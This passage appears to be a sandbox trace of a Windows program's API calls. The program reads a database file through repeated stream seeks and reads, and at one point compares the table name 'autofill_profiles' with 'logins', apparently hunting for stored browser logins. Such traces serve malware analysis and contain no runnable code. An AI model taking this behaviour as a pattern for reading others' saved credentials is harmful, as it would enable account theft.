(hMem=0x670e18) returned 0x0 [0079.212] LocalFree (hMem=0x69e428) returned 0x0 [0079.212] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7f6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.212] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7f6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.213] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9d0, cb=0x4, pcbRead=0x12f9a0 | out: pv=0x12f9d0*=0x0, pcbRead=0x12f9a0*=0x4) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x7fa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.213] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f9b3, cb=0x1, pcbRead=0x12f980 | out: pv=0x12f9b3*=0x12, pcbRead=0x12f980*=0x1) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6800, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6800, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.213] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97b, cb=0x1, pcbRead=0x12f948 | out: pv=0x12f97b*=0xd, pcbRead=0x12f948*=0x1) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6801, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.213] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x5, pcbRead=0x12f948*=0x2) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.213] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6803, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.214] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x0, pcbRead=0x12f948*=0x2) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6805, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.214] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x0, pcbRead=0x12f948*=0x2) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6807, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.214] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97b, cb=0x1, pcbRead=0x12f948 | out: pv=0x12f97b*=0x0, pcbRead=0x12f948*=0x1) returned 0x0 [0079.214] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x69e428 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6808, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.214] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x3, pcbRead=0x12f948*=0x2) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x680a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.214] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x3, pcbRead=0x12f948*=0x2) returned 0x0 [0079.214] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x680c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.215] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x2, pcbRead=0x12f948*=0x2) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x680e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.215] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x2, pcbRead=0x12f948*=0x2) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6810, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.215] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x1, pcbRead=0x12f948*=0x2) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6812, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.215] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x1, pcbRead=0x12f948*=0x2) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.215] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6814, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.216] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x7, pcbRead=0x12f948*=0x2) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6816, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.216] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x6, pcbRead=0x12f948*=0x2) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6818, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.216] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f97a, cb=0x2, pcbRead=0x12f948 | out: pv=0x12f97a*=0x0, pcbRead=0x12f948*=0x2) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6bdc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6bdc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.216] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x83, pcbRead=0x12f928*=0x1) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.216] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6bdd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.216] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x34, pcbRead=0x12f928*=0x1) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6bde, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.217] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0xa, pcbRead=0x12f928*=0x1) returned 0x0 [0079.217] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.217] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6bdf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.217] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x1b4, pcbRead=0x12f938 | out: pv=0x655310*=0x7, pcbRead=0x12f938*=0x1b4) returned 0x0 [0079.217] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x7, cb=0x1b4, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x1b4) returned 0x0 [0079.217] LocalFree (hMem=0x655310) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.217] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.217] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x7, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.217] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670e18 [0079.217] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.218] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.218] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x2f, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.218] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x2f, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.218] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x1, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.218] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.219] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x86, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.219] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x17, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.219] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.219] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.219] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f8f8 | out: pv=0x6687b0*=0x74, pcbRead=0x12f8f8*=0x5) returned 0x0 [0079.219] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.219] LocalFree (hMem=0x6687b0) returned 0x0 [0079.219] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x670c38 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.219] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x670c38, cb=0x11, pcbRead=0x12f8f8 | out: pv=0x670c38*=0x61, pcbRead=0x12f8f8*=0x11) returned 0x0 [0079.219] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0079.219] LocalFree (hMem=0x670c38) returned 0x0 [0079.219] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x670c38 [0079.219] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.220] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x670c38, cb=0x11, pcbRead=0x12f8f8 | out: pv=0x670c38*=0x61, pcbRead=0x12f8f8*=0x11) returned 0x0 [0079.220] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.220] LocalFree (hMem=0x670c38) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.220] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f917, cb=0x1, pcbRead=0x12f8e4 | out: pv=0x12f917*=0xb, pcbRead=0x12f8e4*=0x1) returned 0x0 [0079.220] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.220] LocalAlloc (uFlags=0x40, uBytes=0x205) returned 0x6522a8 [0079.220] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x2f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.220] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6522a8, cb=0x185, pcbRead=0x12f8f8 | out: pv=0x6522a8*=0x43, pcbRead=0x12f8f8*=0x185) returned 0x0 [0079.220] LocalAlloc (uFlags=0x40, uBytes=0x20d) returned 0x6524b8 [0079.220] LocalFree (hMem=0x6522a8) returned 0x0 [0079.220] LocalFree (hMem=0x670e18) returned 0x0 [0079.220] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.220] lstrcmpiA (lpString1="autofill_profiles", lpString2="logins") returned -1 [0079.220] LocalFree (hMem=0x665780) returned 0x0 [0079.220] LocalFree (hMem=0x652cb0) returned 0x0 [0079.220] LocalFree (hMem=0x652d58) returned 0x0 [0079.220] LocalFree (hMem=0x664350) returned 0x0 [0079.220] LocalFree (hMem=0x6524b8) returned 0x0 [0079.220] LocalFree (hMem=0x670d78) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6b99, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.220] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6b99, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.221] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0x41, pcbRead=0x12f928*=0x1) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6b9a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.221] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x12f95b, cb=0x1, pcbRead=0x12f928 | out: pv=0x12f95b*=0xb, pcbRead=0x12f928*=0x1) returned 0x0 [0079.221] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.221] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6b9b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.221] ISequentialStream:RemoteRead (in: This=0x64ba58, pv=0x655310, cb=0x41, pcbRead=0x12f938 | out: pv=0x655310*=0x6, pcbRead=0x12f938*=0x41) returned 0x0 [0079.221] ISequentialStream:RemoteWrite (in: This=0x64baa8, pv=0x655310*=0x6, cb=0x41, pcbWritten=0x12f950 | out: pcbWritten=0x12f950*=0x41) returned 0x0 [0079.221] LocalFree (hMem=0x655310) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.221] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.222] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.222] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f91b, cb=0x1, pcbRead=0x12f8e8 | out: pv=0x12f91b*=0x6, pcbRead=0x12f8e8*=0x1) returned 0x0 [0079.222] 